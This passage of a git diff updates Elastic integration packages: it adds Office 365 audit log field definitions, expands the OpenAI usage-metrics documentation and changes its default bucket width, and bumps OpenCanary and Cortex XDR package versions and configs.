EventDeepLink + type: keyword - name: EventSource type: keyword - name: ExceptionInfo.* @@ -217,6 +269,21 @@ # not expressible here; object_type_mapping_type cannot be 'boolean'. object_type: keyword object_type_mapping_type: '*' + - name: ExchangeMetaData + type: group + fields: + - name: CC + type: keyword + - name: MessageID + type: keyword + - name: Sent + type: date + - name: To + type: keyword + - name: UniqueID + type: keyword + - name: "*" + type: long - name: Experience type: keyword - name: ExtendedProperties.RequestType @@ -229,6 +296,8 @@ type: boolean - name: FileSizeBytes type: long + - name: FilteringDate + type: date - name: GroupName type: keyword - name: Id @@ -237,12 +306,29 @@ type: keyword - name: IncidentId type: keyword - - name: InternalLogonType + - name: InsightData + type: group + fields: + - name: Type + type: keyword + - name: InsightId type: keyword - name: InterSystemsId type: keyword + - name: InternalLogonType + type: keyword + - name: InternetMessageId + type: keyword - name: IntraSystemId type: keyword + - name: InvestigationId + type: keyword + - name: InvestigationName + type: keyword + - name: InvestigationType + type: keyword + - name: InvestigationUrn + type: keyword - name: Item.* type: object object_type: keyword @@ -255,6 +341,14 @@ type: keyword - name: ItemType type: keyword + - name: KesMailId + type: keyword + - name: Language + type: keyword + - name: LastUpdateTimeUtc + type: date + - name: LatestDeliveryLocation + type: keyword - name: ListBaseType type: keyword - name: ListId @@ -277,6 +371,10 @@ type: keyword - name: Members type: flattened + - name: MessageDate + type: keyword + - name: MessageTime + type: keyword - name: ModifiedProperties.Role_DisplayName.NewValue type: keyword - name: ModifiedProperties.*.* @@ -285,8 +383,12 @@ object_type_mapping_type: '*' - name: Name type: keyword + - name: NetworkMessageId + type: keyword - name: NewValue type: keyword + - name: NonPIIParameters + type: keyword - name: ObjectDisplayName type: keyword - name: ObjectId @@ -305,8 +407,18 @@ type: keyword - name: OrganizationName type: keyword + - name: OriginalDeliveryLocation + type: keyword - name: OriginatingServer type: keyword + - name: P1Sender + type: keyword + - name: P1SenderDomain + type: keyword + - name: P2Sender + type: keyword + - name: P2SenderDomain + type: keyword - name: Parameters.AccessRights type: keyword - name: Parameters.AllowFederatedUsers @@ -325,29 +437,58 @@ type: object object_type: keyword object_type_mapping_type: '*' + - name: PhishConfidenceLevel + type: keyword - name: Platform type: keyword + - name: Policy + type: keyword + - name: PolicyAction + type: keyword - name: PolicyDetails type: flattened - name: PolicyId type: keyword + - name: Recipients + type: keyword - name: RecordType type: keyword - - name: ResultStatus + - name: RelativeUrl type: keyword - name: RequestId type: keyword + - name: RescanResult + type: group + fields: + - name: Id + type: keyword + - name: RescanVerdict + type: keyword + - name: Timestamp + type: keyword + - name: ResultCount + type: keyword + - name: ResultStatus + type: keyword + - name: RunningTime + type: keyword + - name: SecurityComplianceCenterEventType + type: keyword + - name: SenderIP + type: keyword + - name: SenderIp + type: keyword - name: SensitiveInfoDetectionIsIncluded type: boolean + - name: SessionId + type: keyword + - name: Severity + type: keyword - name: SharePointMetaData.* type: object # This object may contain date formatted fields, but we do not ensure validity, so leave as keyword. object_type: keyword object_type_mapping_type: '*' - - name: SessionId - type: keyword - - name: Severity - type: keyword - name: Site type: keyword - name: SiteUrl @@ -360,10 +501,45 @@ type: keyword - name: SourceRelativeUrl type: keyword + - name: StartTime + type: keyword + - name: StartTimeUtc + type: keyword - name: Status type: keyword + - name: SubAirAdminActionTypeMail + type: keyword + - name: Subject + type: keyword + - name: SubmissionConfidenceLevel + type: keyword + - name: SubmissionContentSubType + type: keyword + - name: SubmissionContentType + type: keyword + - name: SubmissionId + type: keyword + - name: SubmissionState + type: keyword + - name: SubmissionType + type: keyword + - name: Submitter + type: keyword + - name: SubmitterId + type: keyword - name: SupportTicketId type: keyword + - name: SystemOverrides + type: group + fields: + - name: Details + type: keyword + - name: FinalOverride + type: keyword + - name: Result + type: keyword + - name: Source + type: keyword - name: Target type: group fields: @@ -377,9 +553,11 @@ type: keyword - name: TargetUserOrGroupType type: keyword + - name: TeamGuid + type: keyword - name: TeamName type: keyword - - name: TeamGuid + - name: ThreatDetectionMethods type: keyword - name: Timestamp type: keyword @@ -393,6 +571,8 @@ type: keyword - name: UserType type: keyword + - name: Verdict + type: keyword - name: Version type: keyword - name: WebId diff --git a/packages/o365/docs/README.md b/packages/o365/docs/README.md index 0629e442515..505d8999e72 100644 --- a/packages/o365/docs/README.md +++ b/packages/o365/docs/README.md @@ -190,6 +190,8 @@ An example event for `audit` looks as following: | input.type | Type of Filebeat input. | keyword | | log.flags | Flags for the log file. | keyword | | log.offset | Offset of the entry in the log file. | long | +| o365.audit.AadAppId | | keyword | +| o365.audit.Actions | | flattened | | o365.audit.Activity | | keyword | | o365.audit.Actor.ID | | keyword | | o365.audit.Actor.Type | | keyword | @@ -197,7 +199,11 @@ An example event for `audit` looks as following: | o365.audit.ActorIpAddress | | keyword | | o365.audit.ActorUserId | | keyword | | o365.audit.ActorYammerUserId | | keyword | +| o365.audit.AdditionalData.Name | | keyword | +| o365.audit.AdditionalData.Value | | keyword | | o365.audit.AdditionalInfo.\* | | object | +| o365.audit.AirAdminActionSource | | keyword | +| o365.audit.AirAdminActionType | | keyword | | o365.audit.AlertEntityId | | keyword | | o365.audit.AlertId | | keyword | | o365.audit.AlertLinks | | flattened | @@ -206,14 +212,27 @@ An example event for `audit` looks as following: | o365.audit.AppId | | keyword | | o365.audit.ApplicationDisplayName | | keyword | | o365.audit.ApplicationId | | keyword | +| o365.audit.Approver | | keyword | +| o365.audit.AttachmentData.FileName | | keyword | +| o365.audit.AttachmentData.FileType | | keyword | +| o365.audit.AttachmentData.FileVerdict | | keyword | +| o365.audit.AttachmentData.MalwareFamily | | keyword | +| o365.audit.AttachmentData.SHA256 | | keyword | +| o365.audit.AuthDetails.Name | | keyword | +| o365.audit.AuthDetails.Value | | keyword | | o365.audit.AzureActiveDirectoryEventType | | keyword | +| o365.audit.BCLValue | | keyword | +| o365.audit.BulkApprovalId | | keyword | | o365.audit.Category | | keyword | | o365.audit.ClientAppId | | keyword | +| o365.audit.ClientApplication | | keyword | | o365.audit.ClientIP | | keyword | | o365.audit.ClientIPAddress | | keyword | | o365.audit.ClientInfoString | | keyword | | o365.audit.ClientRequestId | | keyword | +| o365.audit.CmdletVersion | | keyword | | o365.audit.Comments | | text | +| o365.audit.Connector | | keyword | | o365.audit.CorrelationId | | keyword | | o365.audit.CreationTime | | keyword | | o365.audit.CustomUniqueId | | boolean | @@ -278,9 +297,19 @@ An example event for `audit` looks as following: | o365.audit.Data.zmfn | | keyword | | o365.audit.Data.zu | | keyword | | o365.audit.DataType | | keyword | +| o365.audit.DatabaseType | | keyword | +| o365.audit.DeepLinkUrl | | keyword | +| o365.audit.DeliveryAction | | keyword | +| o365.audit.Description | | match_only_text | +| o365.audit.DetectionMethod | | keyword | +| o365.audit.DetectionType | | keyword | +| o365.audit.Directionality | | keyword | +| o365.audit.EffectiveOrganization | | keyword | +| o365.audit.EndTimeUtc | | date | | o365.audit.EntityType | | keyword | | o365.audit.ErrorNumber | | keyword | | o365.audit.EventData | | keyword | +| o365.audit.EventDeepLink | | keyword | | o365.audit.EventSource | | keyword | | o365.audit.ExceptionInfo.\* | | object | | o365.audit.ExchangeMetaData.\* | | long | @@ -294,17 +323,29 @@ An example event for `audit` looks as following: | o365.audit.ExtendedProperties.RequestType | | keyword | | o365.audit.ExternalAccess | | boolean | | o365.audit.FileSizeBytes | | long | +| o365.audit.FilteringDate | | date | | o365.audit.GroupName | | keyword | | o365.audit.Id | | keyword | | o365.audit.ImplicitShare | | keyword | | o365.audit.IncidentId | | keyword | +| o365.audit.InsightData.Type | | keyword | +| o365.audit.InsightId | | keyword | | o365.audit.InterSystemsId | | keyword | | o365.audit.InternalLogonType | | keyword | +| o365.audit.InternetMessageId | | keyword | | o365.audit.IntraSystemId | | keyword | +| o365.audit.InvestigationId | | keyword | +| o365.audit.InvestigationName | | keyword | +| o365.audit.InvestigationType | | keyword | +| o365.audit.InvestigationUrn | | keyword | | o365.audit.Item.\* | | object | | o365.audit.Item.\*.\* | | object | | o365.audit.ItemName | | keyword | | o365.audit.ItemType | | keyword | +| o365.audit.KesMailId | | keyword | +| o365.audit.Language | | keyword | +| o365.audit.LastUpdateTimeUtc | | date | +| o365.audit.LatestDeliveryLocation | | keyword | | o365.audit.ListBaseType | | keyword | | o365.audit.ListId | | keyword | | o365.audit.ListItemUniqueId | | keyword | @@ -316,10 +357,14 @@ An example event for `audit` looks as following: | o365.audit.MailboxOwnerSid | | keyword | | o365.audit.MailboxOwnerUPN | | keyword | | o365.audit.Members | | flattened | +| o365.audit.MessageDate | | keyword | +| o365.audit.MessageTime | | keyword | | o365.audit.ModifiedProperties.\*.\* | | object | | o365.audit.ModifiedProperties.Role_DisplayName.NewValue | | keyword | | o365.audit.Name | | keyword | +| o365.audit.NetworkMessageId | | keyword | | o365.audit.NewValue | | keyword | +| o365.audit.NonPIIParameters | | keyword | | o365.audit.ObjectDisplayName | | keyword | | o365.audit.ObjectId | | keyword | | o365.audit.ObjectType | | keyword | @@ -328,7 +373,12 @@ An example event for `audit` looks as following: | o365.audit.OperationProperties | | object | | o365.audit.OrganizationId | | keyword | | o365.audit.OrganizationName | | keyword | +| o365.audit.OriginalDeliveryLocation | | keyword | | o365.audit.OriginatingServer | | keyword | +| o365.audit.P1Sender | | keyword | +| o365.audit.P1SenderDomain | | keyword | +| o365.audit.P2Sender | | keyword | +| o365.audit.P2SenderDomain | | keyword | | o365.audit.Parameters.\* | | object | | o365.audit.Parameters.AccessRights | | keyword | | o365.audit.Parameters.AllowFederatedUsers | | keyword | @@ -337,12 +387,25 @@ An example event for `audit` looks as following: | o365.audit.Parameters.ForwardAsAttachmentTo | | keyword | | o365.audit.Parameters.ForwardTo | | keyword | | o365.audit.Parameters.RedirectTo | | keyword | +| o365.audit.PhishConfidenceLevel | | keyword | | o365.audit.Platform | | keyword | +| o365.audit.Policy | | keyword | +| o365.audit.PolicyAction | | keyword | | o365.audit.PolicyDetails | | flattened | | o365.audit.PolicyId | | keyword | +| o365.audit.Recipients | | keyword | | o365.audit.RecordType | | keyword | +| o365.audit.RelativeUrl | | keyword | | o365.audit.RequestId | | keyword | +| o365.audit.RescanResult.Id | | keyword | +| o365.audit.RescanResult.RescanVerdict | | keyword | +| o365.audit.RescanResult.Timestamp | | keyword | +| o365.audit.ResultCount | | keyword | | o365.audit.ResultStatus | | keyword | +| o365.audit.RunningTime | | keyword | +| o365.audit.SecurityComplianceCenterEventType | | keyword | +| o365.audit.SenderIP | | keyword | +| o365.audit.SenderIp | | keyword | | o365.audit.SensitiveInfoDetectionIsIncluded | | boolean | | o365.audit.SessionId | | keyword | | o365.audit.Severity | | keyword | @@ -353,8 +416,24 @@ An example event for `audit` looks as following: | o365.audit.SourceFileExtension | | keyword | | o365.audit.SourceFileName | | keyword | | o365.audit.SourceRelativeUrl | | keyword | +| o365.audit.StartTime | | keyword | +| o365.audit.StartTimeUtc | | keyword | | o365.audit.Status | | keyword | +| o365.audit.SubAirAdminActionTypeMail | | keyword | +| o365.audit.Subject | | keyword | +| o365.audit.SubmissionConfidenceLevel | | keyword | +| o365.audit.SubmissionContentSubType | | keyword | +| o365.audit.SubmissionContentType | | keyword | +| o365.audit.SubmissionId | | keyword | +| o365.audit.SubmissionState | | keyword | +| o365.audit.SubmissionType | | keyword | +| o365.audit.Submitter | | keyword | +| o365.audit.SubmitterId | | keyword | | o365.audit.SupportTicketId | | keyword | +| o365.audit.SystemOverrides.Details | | keyword | +| o365.audit.SystemOverrides.FinalOverride | | keyword | +| o365.audit.SystemOverrides.Result | | keyword | +| o365.audit.SystemOverrides.Source | | keyword | | o365.audit.Target.ID | | keyword | | o365.audit.Target.Type | | keyword | | o365.audit.TargetContextId | | keyword | @@ -362,12 +441,14 @@ An example event for `audit` looks as following: | o365.audit.TargetUserOrGroupType | | keyword | | o365.audit.TeamGuid | | keyword | | o365.audit.TeamName | | keyword | +| o365.audit.ThreatDetectionMethods | | keyword | | o365.audit.Timestamp | | keyword | | o365.audit.UniqueSharingId | | keyword | | o365.audit.UserAgent | | keyword | | o365.audit.UserId | | keyword | | o365.audit.UserKey | | keyword | | o365.audit.UserType | | keyword | +| o365.audit.Verdict | | keyword | | o365.audit.Version | | keyword | | o365.audit.WebId | | keyword | | o365.audit.Workload | | keyword | diff --git a/packages/o365/manifest.yml b/packages/o365/manifest.yml index be7fb2f77f9..dd737e1c410 100644 --- a/packages/o365/manifest.yml +++ b/packages/o365/manifest.yml @@ -1,6 +1,6 @@ name: o365 title: Microsoft Office 365 -version: "2.9.0" +version: "2.10.0" description: Collect logs from Microsoft Office 365 with Elastic Agent. type: integration format_version: "3.0.2" diff --git a/packages/openai/_dev/build/docs/README.md b/packages/openai/_dev/build/docs/README.md index 4de2ffb8528..ee44a1c515b 100644 --- a/packages/openai/_dev/build/docs/README.md +++ b/packages/openai/_dev/build/docs/README.md @@ -39,7 +39,65 @@ To generate an Admin key, please generate a key or use an existing one from the ## Collection behavior -By default, the OpenAI integration fetches metrics with a bucket width of 1 day (`1d`), which means metrics are aggregated by day. metrics are collected from the initial start time until the current time, excluding the current bucket since it is incomplete. So, based on configured bucket width, the integration collects metrics from the initial start time until the current time minus the bucket width. +Among the configuration options for the OpenAI integration, the following settings are particularly relevant: "Initial interval" and "Bucket width". + +### Initial interval + +- Controls the historical data collection window at startup +- Default value: 24 hours (`24h`) +- Purpose: Loads historical context when you first set up the integration + +### Bucket width + +A "bucket" refers to a time interval where OpenAI usage data is grouped together for reporting purposes. For example, with a 1-minute bucket width, usage metrics are aggregated minute by minute. With a 1-hour bucket width, all activity during that hour is consolidated into a single bucket. The [bucket width](https://platform.openai.com/docs/api-reference/usage/completions#usage-completions-bucket_width) determines your data's granularity and level of detail in your usage reporting. + +- Controls the time-based aggregation of metrics +- Default: `1m` (1 minute) +- Options: `1m` (1 minute), `1h` (1 hour), `1d` (1 day) +- Affects API request frequency and data resolution + +#### Impact on data resolution + +- `1m` buckets provide the highest resolution metrics, with data arriving in near real-time (1-minute delay) +- `1h` buckets aggregate hourly, with data arriving less frequently (1-hour delay) +- `1d` buckets aggregate daily, with data arriving once per day (24-hour delay) + +Data granularity relationship: `1m` > `1h` > `1d` + +#### Storage considerations + +Bucket width choice affects storage usage (in Elasticsearch) and data resolution: + +- `1m`: Maximum granularity, higher storage needs, ideal for detailed analysis. +- `1h`: Medium granularity, moderate storage needs, good for hourly patterns. +- `1d`: Minimum granularity, lowest storage needs, suitable for long-term analysis. + +Example: For 100 API calls to a particular model per hour: +- `1m` buckets: Up to 100 documents +- `1h` buckets: 1 aggregated document +- `1d` buckets: 1 daily document + +#### API request impact + +"Bucket width" and "Initial interval" directly affect API request frequency. When using a 1-minute bucket width, it's strongly recommended to set the "Initial interval" to a shorter duration—optimally 1 day—to ensure smooth performance. While our extensive testing demonstrates excellent results with a 6-month initial interval paired with a 1-day bucket width, the same level of success isn't achievable with 1-minute or 1-hour bucket widths. This is because the OpenAI Usage API returns different bucket quantities based on width (60 buckets per call for 1-minute, 24 for 1-hour, and 7 for 1-day widths). To achieve the best results when gathering historical data over long periods, using 1-day bucket widths is the most effective method, ensuring a balance between data granularity and API limitations. + +> For optimal results with historical data, use 1-day bucket widths for long periods (15+ days), 1-hour for medium periods (1-15 days), and 1-minute only for the most recent 24 hours of data. + +### Collection process + +With default settings (Interval: `5m`, Bucket width: `1m`, Initial interval: `24h`), the OpenAI integration follows this collection pattern: + +1. Starts collection from (current_time - initial_interval) +2. Collects data up to (current_time - bucket_width) +3. Excludes incomplete current bucket for data accuracy and wait for bucket completion +4. Runs every 5 minutes by default (configurable) +5. From second collection, start from end of previous bucket timestamp and collect up to (current_time - bucket_width) + +#### Example timeline + +With default settings (Interval: `5m`, Bucket width: `1m`, Initial interval: `24h`): + +The integration starts at 10:00 AM, collects data from 10:00 AM the previous day, and continues until 9:59 AM the current day. The next collection starts at 10:05 AM, collecting from the 10:00 AM bucket to the 10:04 AM bucket, as the "Interval" is 5 minutes. ## Logs reference diff --git a/packages/openai/changelog.yml b/packages/openai/changelog.yml index 425548b770f..47adc2bab78 100644 --- a/packages/openai/changelog.yml +++ b/packages/openai/changelog.yml @@ -1,4 +1,10 @@ # newer versions go on top +- version: "0.3.0" + changes: + - description: Update default values and improve documentation and field descriptions. + + type: enhancement + link: https://github.com/elastic/integrations/pull/12838 - version: "0.2.0" changes: - description: Add support for Kibana `9.0.0`. diff --git a/packages/openai/data_stream/audio_speeches/manifest.yml b/packages/openai/data_stream/audio_speeches/manifest.yml index 1acc6af67a9..80046866984 100644 --- a/packages/openai/data_stream/audio_speeches/manifest.yml +++ b/packages/openai/data_stream/audio_speeches/manifest.yml @@ -28,7 +28,7 @@ streams: multi: false required: true show_user: false - description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s. + description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s. default: 24h - name: bucket_width type: text @@ -36,8 +36,8 @@ streams: multi: false required: true show_user: false - description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only. - default: 1d + description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only. + default: 1m - name: tags type: text title: Tags diff --git a/packages/openai/data_stream/audio_transcriptions/manifest.yml b/packages/openai/data_stream/audio_transcriptions/manifest.yml index 4b9ab6924fc..5639495fdfb 100644 --- a/packages/openai/data_stream/audio_transcriptions/manifest.yml +++ b/packages/openai/data_stream/audio_transcriptions/manifest.yml @@ -28,7 +28,7 @@ streams: multi: false required: true show_user: false - description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s. + description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s. default: 24h - name: bucket_width type: text @@ -36,8 +36,8 @@ streams: multi: false required: true show_user: false - description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only. - default: 1d + description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only. + default: 1m - name: tags type: text title: Tags diff --git a/packages/openai/data_stream/code_interpreter_sessions/manifest.yml b/packages/openai/data_stream/code_interpreter_sessions/manifest.yml index 8bfed2d9e43..44529cffc77 100644 --- a/packages/openai/data_stream/code_interpreter_sessions/manifest.yml +++ b/packages/openai/data_stream/code_interpreter_sessions/manifest.yml @@ -28,7 +28,7 @@ streams: multi: false required: true show_user: false - description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s. + description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s. default: 24h - name: bucket_width type: text @@ -36,8 +36,8 @@ streams: multi: false required: true show_user: false - description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only. - default: 1d + description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only. + default: 1m - name: tags type: text title: Tags diff --git a/packages/openai/data_stream/completions/manifest.yml b/packages/openai/data_stream/completions/manifest.yml index 33adfee82ac..0ba4113628e 100644 --- a/packages/openai/data_stream/completions/manifest.yml +++ b/packages/openai/data_stream/completions/manifest.yml @@ -28,7 +28,7 @@ streams: multi: false required: true show_user: false - description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s. + description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s. default: 24h - name: bucket_width type: text @@ -36,8 +36,8 @@ streams: multi: false required: true show_user: false - description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only. - default: 1d + description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only. + default: 1m - name: tags type: text title: Tags diff --git a/packages/openai/data_stream/embeddings/manifest.yml b/packages/openai/data_stream/embeddings/manifest.yml index e42dc735add..58d23573af2 100644 --- a/packages/openai/data_stream/embeddings/manifest.yml +++ b/packages/openai/data_stream/embeddings/manifest.yml @@ -28,7 +28,7 @@ streams: multi: false required: true show_user: false - description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s. + description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s. default: 24h - name: bucket_width type: text @@ -36,8 +36,8 @@ streams: multi: false required: true show_user: false - description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only. - default: 1d + description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only. + default: 1m - name: tags type: text title: Tags diff --git a/packages/openai/data_stream/images/manifest.yml b/packages/openai/data_stream/images/manifest.yml index fd5949fe07d..f810954c04c 100644 --- a/packages/openai/data_stream/images/manifest.yml +++ b/packages/openai/data_stream/images/manifest.yml @@ -28,7 +28,7 @@ streams: multi: false required: true show_user: false - description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s. + description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s. default: 24h - name: bucket_width type: text @@ -36,8 +36,8 @@ streams: multi: false required: true show_user: false - description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only. - default: 1d + description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only. + default: 1m - name: tags type: text title: Tags diff --git a/packages/openai/data_stream/moderations/manifest.yml b/packages/openai/data_stream/moderations/manifest.yml index b6334fb2eeb..f68ef23b4e9 100644 --- a/packages/openai/data_stream/moderations/manifest.yml +++ b/packages/openai/data_stream/moderations/manifest.yml @@ -28,7 +28,7 @@ streams: multi: false required: true show_user: false - description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s. + description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s. default: 24h - name: bucket_width type: text @@ -36,8 +36,8 @@ streams: multi: false required: true show_user: false - description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only. - default: 1d + description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only. + default: 1m - name: tags type: text title: Tags diff --git a/packages/openai/data_stream/vector_stores/manifest.yml b/packages/openai/data_stream/vector_stores/manifest.yml index 376af7d8a07..42eaa738149 100644 --- a/packages/openai/data_stream/vector_stores/manifest.yml +++ b/packages/openai/data_stream/vector_stores/manifest.yml @@ -28,7 +28,7 @@ streams: multi: false required: true show_user: false - description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s. + description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s. default: 24h - name: bucket_width type: text @@ -36,8 +36,8 @@ streams: multi: false required: true show_user: false - description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only. - default: 1d + description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only. + default: 1m - name: tags type: text title: Tags diff --git a/packages/openai/docs/README.md b/packages/openai/docs/README.md index 0b5efa0cbb8..568565f0f15 100644 --- a/packages/openai/docs/README.md +++ b/packages/openai/docs/README.md @@ -39,7 +39,65 @@ To generate an Admin key, please generate a key or use an existing one from the ## Collection behavior -By default, the OpenAI integration fetches metrics with a bucket width of 1 day (`1d`), which means metrics are aggregated by day. metrics are collected from the initial start time until the current time, excluding the current bucket since it is incomplete. So, based on configured bucket width, the integration collects metrics from the initial start time until the current time minus the bucket width. +Among the configuration options for the OpenAI integration, the following settings are particularly relevant: "Initial interval" and "Bucket width". + +### Initial interval + +- Controls the historical data collection window at startup +- Default value: 24 hours (`24h`) +- Purpose: Loads historical context when you first set up the integration + +### Bucket width + +A "bucket" refers to a time interval where OpenAI usage data is grouped together for reporting purposes. For example, with a 1-minute bucket width, usage metrics are aggregated minute by minute. With a 1-hour bucket width, all activity during that hour is consolidated into a single bucket. The [bucket width](https://platform.openai.com/docs/api-reference/usage/completions#usage-completions-bucket_width) determines your data's granularity and level of detail in your usage reporting. + +- Controls the time-based aggregation of metrics +- Default: `1m` (1 minute) +- Options: `1m` (1 minute), `1h` (1 hour), `1d` (1 day) +- Affects API request frequency and data resolution + +#### Impact on data resolution + +- `1m` buckets provide the highest resolution metrics, with data arriving in near real-time (1-minute delay) +- `1h` buckets aggregate hourly, with data arriving less frequently (1-hour delay) +- `1d` buckets aggregate daily, with data arriving once per day (24-hour delay) + +Data granularity relationship: `1m` > `1h` > `1d` + +#### Storage considerations + +Bucket width choice affects storage usage (in Elasticsearch) and data resolution: + +- `1m`: Maximum granularity, higher storage needs, ideal for detailed analysis. +- `1h`: Medium granularity, moderate storage needs, good for hourly patterns. +- `1d`: Minimum granularity, lowest storage needs, suitable for long-term analysis. + +Example: For 100 API calls to a particular model per hour: +- `1m` buckets: Up to 100 documents +- `1h` buckets: 1 aggregated document +- `1d` buckets: 1 daily document + +#### API request impact + +"Bucket width" and "Initial interval" directly affect API request frequency. When using a 1-minute bucket width, it's strongly recommended to set the "Initial interval" to a shorter duration—optimally 1 day—to ensure smooth performance. While our extensive testing demonstrates excellent results with a 6-month initial interval paired with a 1-day bucket width, the same level of success isn't achievable with 1-minute or 1-hour bucket widths. This is because the OpenAI Usage API returns different bucket quantities based on width (60 buckets per call for 1-minute, 24 for 1-hour, and 7 for 1-day widths). To achieve the best results when gathering historical data over long periods, using 1-day bucket widths is the most effective method, ensuring a balance between data granularity and API limitations. + +> For optimal results with historical data, use 1-day bucket widths for long periods (15+ days), 1-hour for medium periods (1-15 days), and 1-minute only for the most recent 24 hours of data. + +### Collection process + +With default settings (Interval: `5m`, Bucket width: `1m`, Initial interval: `24h`), the OpenAI integration follows this collection pattern: + +1. Starts collection from (current_time - initial_interval) +2. Collects data up to (current_time - bucket_width) +3. Excludes incomplete current bucket for data accuracy and wait for bucket completion +4. Runs every 5 minutes by default (configurable) +5. From second collection, start from end of previous bucket timestamp and collect up to (current_time - bucket_width) + +#### Example timeline + +With default settings (Interval: `5m`, Bucket width: `1m`, Initial interval: `24h`): + +The integration starts at 10:00 AM, collects data from 10:00 AM the previous day, and continues until 9:59 AM the current day. The next collection starts at 10:05 AM, collecting from the 10:00 AM bucket to the 10:04 AM bucket, as the "Interval" is 5 minutes. ## Logs reference diff --git a/packages/openai/manifest.yml b/packages/openai/manifest.yml index dfe60860981..1e74449dcc5 100644 --- a/packages/openai/manifest.yml +++ b/packages/openai/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.3.0 name: openai title: OpenAI -version: 0.2.0 +version: 0.3.0 description: | Collect OpenAI usage metrics with Elastic Agent. type: integration diff --git a/packages/opencanary/changelog.yml b/packages/opencanary/changelog.yml index 952cd6d7be3..410600984ec 100644 --- a/packages/opencanary/changelog.yml +++ b/packages/opencanary/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.3.0" changes: - description: Do not remove `event.original` in main ingest pipeline. diff --git a/packages/opencanary/manifest.yml b/packages/opencanary/manifest.yml index f312e05669c..118f83fd0dc 100644 --- a/packages/opencanary/manifest.yml +++ b/packages/opencanary/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.1.3 name: opencanary title: "OpenCanary" -version: "0.3.0" +version: "0.4.0" description: "This integration collects and parses logs from OpenCanary honeypots." type: integration categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" icons: diff --git a/packages/panw_cortex_xdr/_dev/deploy/docker/http-mock-config.yml b/packages/panw_cortex_xdr/_dev/deploy/docker/http-mock-config.yml index c1c470dc7c6..97809e79271 100644 --- a/packages/panw_cortex_xdr/_dev/deploy/docker/http-mock-config.yml +++ b/packages/panw_cortex_xdr/_dev/deploy/docker/http-mock-config.yml @@ -1,4 +1,573 @@ rules: + # pagination request + - path: /public_api/v2/alerts/get_alerts_multi_events + methods: [POST] + request_headers: + Authorization: cel-token + X-Xdr-Auth-Id: 2 + request_body: 